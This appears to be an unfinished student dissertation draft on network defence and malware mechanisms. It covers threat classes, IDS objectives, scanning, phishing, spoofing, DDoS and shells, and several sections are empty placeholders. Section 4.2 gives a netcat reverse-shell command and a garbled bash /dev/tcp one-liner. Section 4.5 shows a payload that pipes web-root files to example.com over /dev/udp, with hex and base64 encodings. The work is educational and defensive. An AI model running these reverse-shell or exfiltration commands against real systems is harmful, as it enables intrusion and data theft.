

A Report submitted in partial fulfilment of
the regulations governing the award of
the Degree of

Cyber-Security & Computer Networks

at the University of Northumbria at Newcastle

Project Report

An investigation into infrastructure defence in relation to emerging threats

Carl Slatter

2020/ 2021

General Computing Project

Declaration

I declare the following:

1. that the material contained in this dissertation is the end result of my own work and that due acknowledgement has been given in the bibliography and references to ALL sources be they printed, electronic or personal.
2. the Word Count of this Dissertation is $\langle \text{len} \rangle$
(result of shell command `texcount total inc Dissertation.tex`)
3. that unless this dissertation has been confirmed as confidential, I agree to an entire electronic copy or sections of the dissertation to being placed on the eLearning Portal (Blackboard), if deemed appropriate, to allow future students the opportunity to see examples of past dissertations. I understand that if displayed on eLearning Portal it would be made available for no longer than five years and that students would be able to print off copies or download.
4. I agree to my dissertation being submitted to a plagiarism detection service, where it will be stored in a database and compared against work submitted from this or any other School or from other institutions using the service.

In the event of the service detecting a high degree of similarity between content within the service this will be reported back to my supervisor and second marker, who may decide to undertake further investigation that may ultimately lead to disciplinary actions, should instances of plagiarism be detected.

5. I have read the Northumbria University/Engineering and Environment Policy Statement on Ethics in Research and Consultancy and I confirm that ethical issues have been considered, evaluated and appropriately addressed in this research.

SIGNED: Carl Slatter

Acknowledgements

Abstract

A summary of the entire project. From background to conclusions. I recon on about half a page as the upper end of the summary.

This is an example structure for the Terms-of-Reference and the Dissertation. Along with some notes.

You can start by forking the repository on github <https://github.com/dr-alun-moon/cs-dissertation>. Then you have a working copy of this document as a starting point.

Contents

Declaration	iii
Acknowledgements	v
Abstract	vii
Contents	ix
I Introduction	1
II Analysis	3
1 The Security Landscape	5
1.1 The Cat & Mouse Game	5
1.2 Responce Theory	6
1.2.1 Zero-Days	6
1.3 Historic & Modern Malware Threats	7
1.3.1 Heartbleed	7
1.3.2 Loveletter	7
1.3.3 SQLSlammer	7
1.3.4 Emotet	7
1.3.5 WannaCry	7
1.3.6 NotPetya	7
1.3.7 Mimikatz	7
1.3.8 Mirai	7
2 Defence Technologies	9
2.1 Variation of Defence Systems	9

2.1.1	Network Monitoring Capability	9
2.1.2	Firewall Rules	9
2.2	Threat Definition	10
2.2.1	Classification of Threats	10
2.3	Anomaly Detection	12
2.3.1	Machine-Learning	12
2.3.2	Signature & Pattern Matching	13
2.3.3	Behavioural Dynamic Analysis	13
2.3.4	Whitelist vs Blacklist Approach	14
2.3.5	PoC IDS Objectives (It must..)	14
3	Malware Mechanisms - Entry Vectors & Profiling	15
3.1	Exposure & Scanning	15
3.1.1	NMAP	15
3.1.2	Firewalking	16
3.1.3	Network Pivoting	17
3.1.4	CVEs & Shodan	17
3.2	Social Engineering	18
3.2.1	Phishing	18
3.2.2	USB Dropping	19
3.3	Address Spoofing	20
4	Malware Mechanisms - Exploitation	23
4.1	Command & Control	23
4.1.1	Side Channels	24
4.1.2	Denial of Service	24
4.2	Bind vs Reverse Shells	26
4.3	Data Cryptors	27
4.4	Buffer Overflows	28
4.5	Payload vs Shellcode	29
5	Malware Mechanisms - Obfuscation & Compression	33
5.1	Encoding vs Encryption	33
5.1.1	Polymorphic Encryption	35
5.2	Steganography	36
5.3	Alternate Data Streams	37
6	Malware Mechanisms - Exfiltration	39

6.1	TLS	40
6.2	Geo Location Altering	41
6.3	Protocol Payload Abuse	42
6.3.1	DNS	42
6.3.2	ICMP	47
7	Malware Mechanisms - Persistence	49
7.1	Registry Manipulation	49
7.2	Privilege Escalation	52
7.2.1	Command Injection	52
7.2.2	Scheduler & Permission Manipulation	52
III	Synthesis	55
IV	Evaluation	57
	Bibliography	59
V	Appendices	63
A	Terms of Reference	65
A.1	Ethics Form	65
A.2	Risk Assessment Form	65

Part I

Introduction

Part II

Analysis

Chapter 1

The Security Landscape

1.1 The Cat & Mouse Game

Technology is always changing, often to the needs of the growing world. Changes range from potential to aid traditional sectors to common conveniences that are taken for granted everyday. Software usually has a purpose, and that purpose is normally pure in nature. Software is there to solve a problem, to make life easier. A problem arises in implementation however, as mistakes can happen. The software development process has various stages, the most important of which being testing. Usually testing is conducted in order to identify any potential bugs that might cause issues later. The quality and extent to which a given piece of software is tested varies from sample to sample, and sometimes bugs slip through.

Bugs can be minor or disterous in nature, and can lead to major problems for those who use it. The solution is usually to send out an update so that a given bug cannot be exploited any further, but this is not a perfect process. There can be reluctance to update, complacency to the maintaining infrastructure or disregard to the issue at hand. Once software is out in the wild, it cannot be retrated. Corporate implementations are already built, and can be abused by criminals who take note of the out of date software.

Both issues of a buggy release and slow update responce can essas-
ibated by corporate culture that put strain on the process. Under-
funded, unmotivated and untrained workers will struggle to work to
their capability and as a result, security can suffer. Another poten-

tial pitfall is mission critical infrastructure. There could be potential issues with implementation, that cannot be fixed easily due to a 24/7 use window. Another issue is legacy reliance; software may work for a certain OS version only, and the new version that is safe could be too expensive or not exist at all. Careful consideration must be given to defence policy, strategy and potential response in order to stay ahead of the cat and mouse game that is cyber-security.

1.2 Response Theory

Response in security is just as important as any other layer. No system or person exists is perfect, mistakes will happen eventually. Those mistakes should be managed by proper training, as will be discussed in the evaluation. If issues are inevitable, even with a good culture; what is the proper response? It varies, but typically a good approach would include simulations planned out ahead of time of what may happen, with best practice as a response. Scenarios are planned out ahead of time in order of likelihood, preferably with people dedicated to incident response. Separation of duties and planning ahead of time can reduce much of stress and anxiety that can come with cyber attacks or downtime.

Some sensible steps include:

- Airgapping of existing infrastructure
- Checking of logs
- Acquisition of audit trails
- Checking of open connections / malware

1.2.1 Zero-Days

When people think of the exploit-update cycle, the first thought would be of patching. Patching is incredibly important, it allows for security issues to be rectified; to an extent in which it's then up to maintenance. Zero day attacks are incredibly potent due to the distinct lack of a patch available. A zero day is essentially a brand new exploit that is suddenly sprung upon the blue team. These exploits can do any amount of damage, with their severity depending

on the exploit at hand. Zero days are often sold on the dark net for prices that are in accordance with the severity. Zerodium - A company that tracks the pricing of various kinds of exploits prices a Windows 10 remote code execution exploit at around \$1 million. The price tag pertains to the huge amount of systems running windows as a base, with an incredibly large surface to implement on.

1.3 Historic & Modern Malware Threats

1.3.1 Heartbleed

1.3.2 Loveletter

1.3.3 SQLSlammer

1.3.4 Emotet

1.3.5 WannaCry

1.3.6 NotPetya

1.3.7 Mimikatz

1.3.8 Mirai

Chapter 2

Defence Technologies

2.1 Variation of Defence Systems

2.1.1 Network Monitoring Capability

Monitoring is rather important. Particually in a manual capacity; having the ability to analyze the flow of the network can aid in both troubleshooting and manual anomaly detection. The difference in human congition to a machine's is massive; A machine will think as you tell it to think, and will not act dynamically unless you tell it how should learn. Humans on the other hand have excellent learning and analysis potential as is. This means it is important to utilize the human element to further harden a network via manual monitoring.

There are many ways to do this, perhaps with grafana dashboards which import all the key data metrics into one. Another avenue could be to use wireshark (or a similar implementated program) to check what is happening at a particular time.

For example, if there is suddenly lots of half open TCP or ICMP requests, there may be a DDoS attack. Another reason that a human brain is benefital is that it has the capacity of content. A flood of HTTPs traffic may look like a DDoS attack, but may actually be a holiday like black friday in which you may expect hightened traffic.

2.1.2 Firewall Rules

A firewall acts as a device between hosts and the internet and filter incoming and outgoing traffic. They can be in hardware and software

form.

An ACL is a series of IOS commands that control whether a router forwards or drops packets based on information found in the packet header. They can limit network traffic to increase performance, provide traffic flow control to restrict delivery of routing updates to ensure they are from a known source, and allow us to restrict part of the network from communicating with another part of the network, while allowing another. We can also block based on traffic type, e.g telnet, while allowing email. ACLs can also be used to tag traffic as priority. A VIP pass of sorts. We have inbound and outbound ACLs. Inbound filters packets coming from a specific interface, outbound does the same independent of the inbound interface, there could be multiple. An ACL uses a wildcard mask to select specific groupings to allow or deny access.

The above system uses the idea that only the vpn port is open, with everything else requiring local or vpn access. We use firewall rules to block everything else that is on the same device, such as my dns server. Additional firewall rules could be used internally to stop priv esc but unlikely in a home lan setup. I only allow local devices to even access the public IP other than for the VPN so it is a whitelist, very strong. The firewall is on the same device as the VPN purposely, if the device goes down, the firewall rules do sure, but so does the VPN which eliminates the access anyway.

2.2 Threat Definition

It becomes increasingly important in defence to know what the opposition might try. There are an absurdly large amount of malware out there, and as such; it's quite important to be able to classify them based off their traits.

2.2.1 Classification of Threats

Malicious software, often called 'Malware' is an ever growing problem for system administrators. There are many threats out there now, and as such, it makes sense to have some form of classification process, a discussion of the categories is important. Additionally, it's

rather important to understand that the below categories are overarching, and behavior may warrant subcategories. (Grimes, 2020)

Firstly, viruses. They act as the term used for all malware as an umbrella term by the general populace. They require user interaction to start, often binding to otherwise legit applicaitons to act as a trigger. They are less common these days due to the interaction factor, with only 10% of malware classifying as a virus. They can be quite difficult to clean up due to their infecting nature. (Grimes, 2020)

Worms act similarly but their main distinguishing difference is that they often don't need user interaction to trigger and will reproduce themselves over a network. Loveletter and SQLSlammer are a fantastic examples of this, showing that the internet's vast connectivity can lead to a worldwide compromise in hours given the right circumstances. (Grimes, 2020)

Trojans are by far the most common pick as of writing for a budding computer hacker. They similar to viruses in that they interact with applications, and that they both require some user interaction to start. The differences lie in behaviour before and after infection. They prefer to masquerade as legitimate programs, that upon execution, do something different entirely, or serve a secret purpose to just what the cracked software or emailed document that was inevitably downloaded for. They do not replicate, preferring to create C2 structures with backdoors, and employ remote access trojan (RAT) tactics of creating persistance, often in the form of covert screensharing. (vir, 2017)

Rootkits are pieces of malware that share similar traits to that of other classifications of malware, they cannot replicate on their own, and employ c2 structures for remote commands and file execution. Their defining trait comes in how they are implanted, and their reach. They tend to burrow rather deep into the system, usually completely hijacking core operating system functions, or even implanting into the BIOS. They typically have high levels of access to both software and hardware with even cases of rootkits being found in malformed firmware. They are difficult to detect and harder to get rid of, with people ususally having to either scrap, or deep wipe hardware. Love

(2018)

You also have malware that is classified based more on the damage caused, rather than the transmission or retransmission methodology. A non extensive list would include adware and spyware. Adware will reach your machine through one of the above mediums and infect key parts of the operating system. The goal is to sideload web content into vison, preferably where they would be expected normally.

Ads are how much of the internet makes money, and as such if a strain of adware can infect many machines, there is a great financial incentive. Areas hijacked often are javascript elements, browser toolbars, page redirects and notifications. Not to be confused with malvertising where advertising networks are the infection vector. (Grimes, 2020)

Secondly, as stated, there is spyware. Much like adware, it will get onto the system in a given way and will then trigger. The trigger in this case is surveillance. This may include sending keyinputs, browsing history, webcam streams, mic inputs and even implement RAT behaviour to get a live stream of their desktop. citeMalwareClass02 (Grimes, 2020)

There are many more, some of which will be discussed at relevant parts of the paper.

2.3 Anomaly Detection

2.3.1 Machine-Learning

Machine learning is a relatively new technology, that aims to reform the programming process. Typically with software engineering, the end algorithm is explicitly laid out; often encompassing every conceivable scenario. This methodology is easier to implement at a basic level but challenging to scale, and susceptible to human bias. Machine learning differs in that an environment is given, a dataset assigned and simulations are ran. Tweaks are made on the fly, by both human and the program itself. This can help expose amazing discoveries that a human would struggle to find, along with a system created that can detect and prevent proactively.

Protocol Adaptation

Different protocols work in varying ways. An approach that monitors them in the same capacity is sure to fail, due in large part to the variation of data handling. Defensive systems must be able to identify the protocol, be aware of it's legitimate use, as well as signs of tampering. For example, detection systems should not treat a HTTP packet the same as they would ICMP. Their threat potential is quite distinctly different, and as such; it is important that part of the learning process is dedicated to finding the normal. Anything that deviates from the "normal" is considered an anomaly, and can be acted upon in a given set of ways.

2.3.2 Signature & Pattern Matching

An interesting question could be made. What is considered a threat to a computer? The simplest answer is "something that is pre-defined". In computer science, a method of validating integrity is to use a process called hashing; a process in which no two pieces of data can return the same value. There are various algorithms out there, some of which are broken like MD5, meaning they can be abused to return the same value for multiple datasets. If data can be represented as a value, then that value can be checked conditionally for a match against a database. This is the fundamental idea behind signature analysis, most commonly used in anti-virus technologies, as static analysis.

2.3.3 Behavioural Dynamic Analysis

Polymorphic encryption and malware versioning has historically shown that static analysis is not enough, it is an important part but cannot stand on it's own. The idea behind dynamic detection is that rather than studying the data at rest, analysis is conducted on either the running malware, or a simulated version of it. Ultimately malware across versions aims to do the same task, albeit in slightly differing ways. If the methodology can be identified; the malware can be defeated. This requires a much more skilled approach; A comparison of before and after. ProcMon on Windows is excellent for this; it will let you see what registry keys have changed, what files are new and

any peculiar processes. Machine learning has been leading the charge in this field, as well as automatic signature matching.

2.3.4 Whitelist vs Blacklist Approach

The choice of a white vs black list is one that depends on infrastructure design. Abstractly, it depends on the approach; if there are many unknowns in the system, a blacklist may have to be used. Similarly the inverse is true. Research shows that a whitelist approach is preferential for security though more specific in implementation. Whitelisting in this sense refers to a predefined set of hosts that are allowed access to a given device, rather than a "find and block" approach of a blacklist. Whitelisting requires full knowledge of present and future variables in the network, whereas blacklisting allows for easier expansion. Blacklisting is more susceptible to hacking due to the nature of simply altering the threat to bypass checks; something that whitelisting may prevent. Zero day exploit control is highly dependant on systems only having required access, something that when planned properly, can use a whitelist approach. The approach will vary across the network and as such prioritization of security and looseness of security for usability must be considered.

2.3.5 PoC IDS Objectives (It must..)

- 1. Detect network interfaces**
- 2. Bind to a network interface**
- 3. Capture data and output to a file/standard output**
- 4. Flag up unusual activity from a few notable attack types**
- 5. Control via command switches**
- 6. Be well written and meaningful to the idioms of the language**
- 7. Have testing/design documentation**

Chapter 3

Malware Mechanisms - Entry Vectors & Profiling

3.1 Exposure & Scanning

The internet is about freedom of opportunity, and is why so many companies have succeeded. Services are accessible and convenient. The ability for anyone to access a service is 'double-edged'. If anyone is able to access it legitimately, it allows potential for a threat actor to conduct their processes also. The first process is often enumeration and scanning. Attacks are much more effective when they are meaningful, scoped and targeted. A criminal can use information gathered to hone in later attacks for full effect.

3.1.1 NMAP

Nmap is an extremely useful networking application that allows for a great deal of network reconnaissance. Its main use being the mapping out of networks, as the name would suggest.

Fingerprinting & Banner Grabbing

A threat actor can learn much from a network, particularly if it is widely exposed to the internet. Valuable enumerated data includes: software names and versions, operating system patch numbers, open ports and typical response. Much can be learned based off how software responds. It could respond in a way that is particularly unique, allowing for identification. This could be a message, or typical beha-

behavior for that piece of software. This probing is called banner grabbing and is one of the first steps in any hacking endeavour. A typical example is a web server; if a http request is made on port 80, there will likely be a http response (assuming the port is open). That page in such case would be a vector for identification, with the web server also having potential for version disclosure with default files. Another potential way to identify would be to use a standard ping function. There is fingerprinting capability built into the variable implementation of the ICMP protocol. Different operating systems have differing ping response times, which gives away the platform. This is impactful as OS version and architecture disclosure means exploits are filtered down to those more likely to work.

These are trivial examples, but show that exposure can lead to the "hacker mindset" being utilised.

Host Discovery Scan (Subnet Scoped):

```
nmap -sn 192.168.1.1254
```

Noisy Host Probing Scan:

```
nmap -sC -sV -vvv -oA /Documents/nmapscan.txt 192.168.1.50
```

3.1.2 Firewalking

Firewalking is a technique of probing a firewall to check what is and isn't allowed. This process operates at layer 4, and means that the respective protocols can be interacted with, using conditional flags. The most common identifiers are IP, MAC, subnet, port and VLAN. It is achieved by creating a layer 4 packet that has a TimeToLive value 1 higher than the gateway. The packet will attempt to pass through the firewall, and will return $ICMP_{TIME_EXCEEDED}$ if passed successfully, otherwise the packet was likely dropped.

A potential use case is to see what is and isn't blocked to make an educated guess on where valuable infrastructure is, and to potentially spoof a layer 2 or 3 address to bypass firewall restrictions.

3.1.3 Network Pivoting

One of the most potent traits of malware (particually worms) is their ability to spread rappidly. Once malware has a foothold in a network, it can take advantage of the networked nature of infrastructure to check what that machine can talk to. It can then conduct either manual or automatic network reconnaissance and enumeration, with the hope to find a vulnerable service to exploit. The advantage of hacking multiple machines is that they cna have different levels of security and access, leading to potential privilege escalation.

The Metasploit Framework has a program called meterpreter which allows you to run modules using the victim system, and push it through by binding to a process. The process binded to depends on the architecture and software security level, but is dangerous because it means that the tools on the system are fairly irrelevant.

3.1.4 CVEs & Shodan

Exploits are common, and are numerous. There are way too many to know by name or nature. There is a need for a standardised classiffcation; this exists in the form of "Common Vulnerabilities and Exposures (CVEs)". A CVE is essential a unique record for a given vulnrability, often used in the cybersecuriyt industry for disclosures and reference. Each CVE is registered in the database (can be found at exploit.db) and is given a severity score, known as the CVSS score. Often exploit implentations and proof of concepts are provided with disclosure of a CVE, that sometimes vary. There is a culture in the security scene of who can have the most covert and effcent exploit for a given vulnerability. An outside perspective may use the argument that this is harmful to security. While this is true in some circumstances, tools and exploits are able to be created and exploited regardless of legality. The security consensus typically is around pushing security boundaries through testing and not leaving it up to chance.

Shodan in conjuction creates a very deadly pair. Shodan is a internet connected device search engine that allows fine tuned filtering. Shodan does not explicitly scan, instead reporting back what is already publicially available, even if tricky to find naturally. What

forms is a database that tracks operating systems, software and versions of devices all over the world. This can be used in conjunction with a compatible CVE to potentially compromise a network. The inverse is true, it can be an asset to create awareness of exposure and help push security forward as a result.

3.2 Social Engineering

Social engineering is the art of exploiting the inherent vulnerabilities that lie within humanity. Access is most easily leveraged by manipulating someone, especially compared to finding the needle in the haystack regarding finding a relevant vulnerability at the machine level. Consider the example in which the main company database has been secured; all the software is up the date, the passwords strong and properly stored as hashes. What if instead of traditional hacking methodologies, someone simply walked in with a high visibility jacket and walked out with the system, citing maintenance as the reason. (Slatter, 2019b)

3.2.1 Phishing

There are two main strands of phishing. The kind you are most likely familiar with is simply called phishing, and pertains to the act of sending a victim to an impersonated site with the intention of them putting real credentials and info down.

The second being spear phishing which is the same with one main difference. That difference being the scope and scale. A normal phishing attack tends to be widespread, generic and assuming. The spear counterpart prefers to use reconnaissance to tailor make the email into something that fits them. The goal being to exploit some kind of weakness for a higher payoff via privileged users such as CEOs and unsuspecting admins.

Every website uses HTML files in some form. These usually can be replicated with proper CSS that is in public view. This means you can create a site that looks exactly like paypal for example, with the idea of the victim typing their real credentials in, which goes directly to the hacker's server. There are usually entry points

to this, a sophisticated one is where "free wifi" is set up, someone connects to it, is sent to a login page that you made where they register and type their credit card info, as if they were the real hotel for example. It can be used in conjunction with DNS phishing below to make them indistinguishable at times.

Such attack could also be used to distribute malware in a drive-by attack as talked about. The legit site likely would never have such code, but the custom one very much could. This can lead to much greater consequences. The thing that is fairly scary about this is how easy it is to setup a DNS server. You can even do so with a raspberry pi in about 10 mins for example.

A combination of the above could be used here, to hijack a DNS server to point to this, a cloned website, with a different premade template:

Spear phishing is where you send email enmasse to lure people into clicking some form of link or file. They are often non targeted and usually aim to trick the victim with techniques like urgency, trust and fear. The idea of these campaigns are not to trick everyone, in fact as a whole very very few people fall for it. You will get your small minority that it works on, and that's what they rely on. The solution to this is proper email sanitization, with checks of email header tampering, some form of verification and file/link whitelists.

3.2.2 USB Dropping

USB devices carry data in a convinient way through flash storage. They are cheap, quiet and very portable. They can be encrypted and are a great asset to productivity. There are however security concerns around a specific use case of them. Some models of USBs allow for firmware altering; altering that allows some tools to configure it to trick devices it is plugged into it, that it is a keyboard.

Keyboards can obviously type, with keyboard input being inherently trusted. Input is usually dictated by scripting (commonly 'ducky script') with typing that is far faster than a human can write, or even read often enough. A victim may plug it in, see a black command prompt window and have a potential compromise without even

knowing. The script could do any manner of damage, usually a payload based off the topics covered in this paper.

The attack preys upon the human emotion of curiosity, as these usbs are usually either dropped outside randomly and picked up or given in seemingly good faith. Another interesting point to consider is supply chain. Every usb has to be made, and therefore should be a trusted retailer with regular random testing. A cheap 2tb usb stick off ebay may not be the best idea, especially considering that reported device size can be faked to the operating system, where it will overwrite itself past it's threshold.

3.3 Address Spoofing

In most cases, networks rely on some form of addressing. Addressing allows for scope of computation, and to direct traffic to a given destination. Addressing can also be used for conditional statements, commonly for the implementation of firewall and switch port security rules. Outside of additionally validation of identity, addressing is considered absolute, and is inherently trusted. (Shaw and Choudhury, 2015)

In this sense, the question becomes, can you place a malicious server in the network and pretend to be an allowed IP address? It is possible and is called IP spoofing. A DNS server could be removed from the network, allowing for a threat actor to take it's IP address, which in turn allows for potential compromise of clients. Active directory is a domain controller platform developed by Microsoft, that aims to manage access of users and groups to resources. If this were to be compromised, it would be disastrous. The reason being that IP addresses are intrinsically tied to domain names, and as such, a spoofed IP, also leads to a falsified domain, which propagates between internal infrastructure. (Hussain et al., 2016)

Another important concept pertains to a specific manipulation of access control lists. Infrastructure tends to follow networking trends, i.e using schemes starting with 192.168.x.x or 10.10.10.x. This knowledge combined with reconnaissance can be used to map out what is normal inside the network. If a detection/prevention system

treats WAN and LAN the same, a threat actor could pretend to be 192.168.x.x, of which a gateway firewall rule exists to allow access. This fault comes from lacking configuration of which side of infrastructure traffic is coming from. It is reasonable for private IP space traffic to be allowed within for hosts that need it, but said rules should be scoped only to LAN, unless absolutely necessary. There are cases where some insecurity cannot be avoided, in such cases defence in depth is paramount.

The above pertains to network layer validation, in which an IP address is targeted. The same can be done for the data-link layer, in the form of MAC addresses. MAC addresses can be leveraged to control access to the network, and are useful because they are globally unique and have a vendorID that can be filtered. This could mean that you could only allow certain MAC addresses to talk to a router for example. This means that even a spoofed IP would not allow access, however, it is possible to fake a MAC address too, using 'macchanger'. The malicious node could pretend to be on which is allowed, and therefore gain access for communication. This can be accomplished with the tool 'macchanger'. (Shaw and Choudhury, 2015)

The above approach would depend on the access control system in place. If there is a whitelist, the above method would have to be used, which requires knowledge of allowed MAC addresses. If a blacklist is in place, a device could simply use the tool to switch it to something that is not on the block list, perhaps by changing the vendor. If the blacklist is aggressive, and dynamic, then macchanger can be leveraged to respoof the MAC on each boot.

Chapter 4

Malware Mechanisms - Exploitation

4.1 Command & Control

Malware traditionally is static, meaning that it executes a given task and then finishes. Malware that can be maleable is an asset to a cyber criminal. Some malware has since adapted a command and control model, often shortened to CC or C2. Such model dictates there are 'zombie' machines and a respective master, a master whom sends commands for the zombies to conduct. A botnet.

No longer is malware a sequential process in such case, a threat actor could order it's army to carry out any number of malicious actions. Such systems do have advantages; A large army can do major damage to vulnerable systems, whether in the form of denial of service or otherwise. Another reason to use a system such as this is that it creates a layer of pseudo anonymity. The zombies are conducting the attack; not the master technically. Defence systems would flag up the attackers directly, with the real threat actor getting away with the attack potentially.

A few things of note; systems are usually zombies without knowledge through some kind of botnet malware. Additionally, if analysis is conducted of a zombie machine (perhaps an acquisition of a cloud virtual machine), then the communication channel may be clear. Proxy chains can help avoid this, creating more layers of relay.

4.1.1 Side Channels

There are two kinds of channels that C2 structures operate in. The first is the heartbeat message. Abstractly, a heartbeat, or also known as a keep-alive message is any transmission that lets the botnet master know that a given bot is alive and well. Details can include time, hostname, IP and other relevant system data. Hinchliffe (2019) Specifics of implementation are covered in the DNS Exfiltration section. One of the nuances for variability here is how bots are distinguished from one another, an example is given later. 6.3.1

The second are control messages. Again, the implementation is covered in the DNS section 6.3.1 but from a top down view, they use variable data to distinguish between instructions. These instructions are referenced using pseudo 'OPCodes' of which reflect an action. Hinchliffe (2019) Actions could include but are not limited to :

1. Downloading a remote payload
2. Uploading sensitive data from the victim's machine
3. Serving a reverse shell
4. Conduct denial of service activity
5. Wipe malware and traces

4.1.2 Denial of Service

This attack makes use of the simple fact that downtime for a server or host can often cause frustration and in many cases loses people money. This means to some people there is an incentive to be able to do this. The general idea is that if you flood a host with enough ICMP (ping) traffic, it will halt and not be able to process anymore information, this is not only for the attacker but for everyone. This would be considered a DOS attack. This usually can't do nearly as much damage as the next version can.

The attack I am meaning is the Distributed Denial Of Service or DDOS attack. This uses the same concept but with a network of attacking machines all linked together. This could be a large number

of machines the attacker owns or zombie machines that the attacker has gained control of with malware and is using for their attack. This multiplies the scale of the attack up to thousands sometimes and is a real problem; it can take down industry standard servers if care is not taken to analyse what traffic is coming in.

A DoS attack in the confines of this paper, is the process of sending ICMP requests on mass to a host in the hope of slowing or taking down a service. The reason this is potent is that the host cannot ignore the echo request, it must respond to it by default. This creates overhead in the parsing processes which take resources, in the form of CPU time and RAM. The attack lessens the resource pool for other services, making them struggle. It tends to be that a great number of ICMP packets of moderate size must be sent for the desired outcome.

There is a concept of a distributed denial of service or DDoS attack which makes use of multiple attacker machines to take down a target host. The general idea is that when the number of attackers increases, the number of ping requests tend to as well. This brings about the result faster and for longer. This is possible in part because the machines each have their own network interface, which is flooding the target system as fast as possible. The fact they are coming from different sources creates a larger overhead. DDoS is very commonly conducted by hackers using a ‘botnet’. A botnet being several machines that are under the control of the threat actor, usually through nefarious means like malware infections. This is normally without the real user’s consent or knowledge. The botnet works for two reasons; distributed hardware for maximum potency and concealment of the true attacker. There are many forms of DoS. ICMP flood is the main focus, but others will be discussed for context and scale.

There are TCP based attacks in which a 3-way handshake is initiated and stopped after sending a SYN packet and receiving a SYNACK back. (Rao, 2020). Do this enough and there are thousands upon thousands of half open connections that are taking resources. In some ways this is harder to spot than ICMP and simply disabling TCP could be very detrimental. TCP is so integral to even basic functionality in a lot of applications that infrastructure could just fall apart logically. (Us.norton.com, 2020) Then there is perhaps the

deadliest form of digital DoS, custom packet crafting. In this attack the hacker would create custom packet headers that have certain flags enabled, that would never normally be enabled together. This makes the recipient very confused, which is dangerous. An unpredictable system could do anything. It is equivalent to inputting a number into an upper-case check program. It would be hoped that the programmer would have accounted for edge cases of malicious or accidental input, but you cannot guarantee it. There are sometimes application specific exploits which take advantage of the fact that data is stored internally with overflow potential. Similarly, there used to be attacks around that sent malformed packet size in fragments to overload and bypass OS level size restrictions to take down systems. This is called the ping of death and has been fixed for a long while but remains to be good context none the less. (Harshita, 2017)

There are other more direct types of DoS, namely an attacker cutting off the internet or even stealing hardware to prevent service. There are even types that are legal, and unavoidable such as the concept of company competition. If a rival company who offers a similar service opens, that is denying service in a very abstract sense. The point being is that Denial of Service alone is a type of attack rather than an attack itself and should be considered in every facet of infrastructure and security development, rather than only in a single place. (Slatter, 2019a)

4.2 Bind vs Reverse Shells

A Bind/Remote shell is connecting from 'hacker' to victim and establishing a terminal session over IP. This is more of a backdoor, usually once initial compromise has already occurred. This activity usually seen by firewalls and can be ruined by change of ports, additionally DHCP and NAT cause IPs to change and as a result, the IP of the host, and therefore the listener is unknown.

A reverse shell is the inverse, the victim machine connecting the the 'hacker's' listener. This requires that some form of exploit is conducted, in order to run the arbitrary code required. This does

mean passing an IP and port over the network, in order to establish a connection, however a combination of TLS and proxy chains could help avert this issue.

Netcat lets a threat actor set up connections between a host and a listener. There is the ability to also connect to any listener that is not natively netcat based, which is referred to as banner grabbing, simply using nc on a ip port can do this. There are different implementations of netcat, such as nc and Nmap's ncat. (Nca, 2020)

ncat -lvp 1234 nc 192.168.0.240 1234 -e cmd.exe or /bin/sh or whatever shell/program

Let's say we have found a remote code execution (RCE) vulnerability on the target host. We can then issue the Netcat command with `-e` on the target host and initiate a reverse shell with Netcat to issue commands.

Alternate Tools & One Liners:

```
bash i n+nb /dev/tcp/IP/port 0n+nb1 A one liner that can be
↳ injected into most unix systems to grant a shell.
MSFVenom The Metasploit Framework payload creation tool, full of
↳ modules for different architectures that safe time so long as
↳ they are understood.
Pwncat A modern version of reverse shell technology, creates a C2
↳ structure for better persistence, priv esc, stability, ease of
↳ use and control.
```

(Pen, 2020) (MSF, 2019) (calebstewart)

4.3 Data Cryptors

Data is our most valuable asset, with much of it being irreplaceable. This is true for both home and corporate users of technology. There is no feasible retaking of a deceased loved one's photo, or the reacquisition of millions of customer records. This is the sad reality of what data cryptors target. There are two main motivations for an attack of this kind, one in which access to given data is removed, often permanently.

Firstly, Ransomware. The goal is to encrypt as much data as possible

with a randomized key, rendering data unless without said key. The attackers then offer the key in exchange for a large ammount of money, often in cryptocurrency for anonymity. Distressed victims may then pay the ransom and may or may not get their data back. There is controversy at the time of writing about paying the ransom, which gets even more complicated by the 'professionalism' tgat is evolving into the very lucrative ransomware buisness. The idea being that if an attacker group has 24/7 live chat and customer serivce, they are even more likely to hand over money.

Secondly, encryption for destruction. From time to time there are attacks that are not in it for direct financial gain, rather obstruction and distress. This variant encrypts just the same, with a few notable differences. There is no ransomw, the key often is not transmitted and it is more liked to corporate rivalry or hacktivism.

4.4 Buffer Overflows

Programs rely on storage and variability. A program that steps through in the exact same way is not always what is needed to solve a given problem. Standard input allows for programs to change at runtime, often with conditional statements. Input does have a limit however, which depends on the data type and system architecture. If input exceeds the limits of it's 'box' in memory, the program becomes unstable. It can lead to the user the program is running under causing change or unintended action on the machine, by injecting a very specific payload that will overload the buffer and achieve a given task, such as a reverse shell. This is the result of not validating buffer size, using C methods like strcpy. (str, 2020a)

Strcpy() takes two arguments, destination and source. There is no built in limitation on how much it stores, and is therefore vulnerable. It is particually vulnerable because this is in conjuction with variable values, which are often dictated by user input.

A better solution would be to use strncpy. (str, 2020b) It takes an extra argument which ensures that the copied string can only be a given length from the source. Newer versions of strcpy have protections, but it is entirely dependant on the one used. (str, 2020a)


```
Insecure:
strcpy(var2, var1);

More secure:
strncpy(var2, var1, sizeof(var2));
```

This is a very in depth topic, that is somewhat out of scope, beyond this.

4.5 Payload vs Shellcode

Malware is nothing without some form of code execution. Program code allows for malicious actors to conduct a given task, however, this cannot always be baked into the malware itself. It is common for malware to follow 'stager' behaviour, it would download the majority of the malicious code from a remote server. Another avenue is for the malware 'payload' to be obfuscated, compressed and then injected into a victim by exploiting a given vulnerability. The payload is then executed, and any number of results can come of it. Payloads often come under a few categories:

Listing 4.1: Explicit HTML Scraper Payload

```
cd /var/www/html; find . -type f -exec cat {} \; > /dev/udp/example.com/80;

Payload (Hex & Base64):
\x63\x64\x20\x2f\x76\x61\x72\x2f\x77\x77\x77\x2f\x68\x74\x6d\x6c\x3b\x20\x66\x69\x6e\x64\x20\x2e\x20\x2d\x74\x79\x70\x65\x20\x66\x20\x2d\x65\x78\x65\x63\x20\x63\x61\x74\x20\x7b\x7d\x20\x5c\x3b\x20\x3e\x20\x2f\x64\x65\x76\x2f\x75\x64\x70\x2f\x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f\x6d\x2f\x38\x30\x3b

Y2QgL3Zhci93d3cvaHRtbDsgZmluZCAuIC10eXB1IGYgLWV4ZWMy2F0IHt9IFw7ID4gL2Rld
i91ZHAvZXhhbXBsZS5jb20vODA7
```

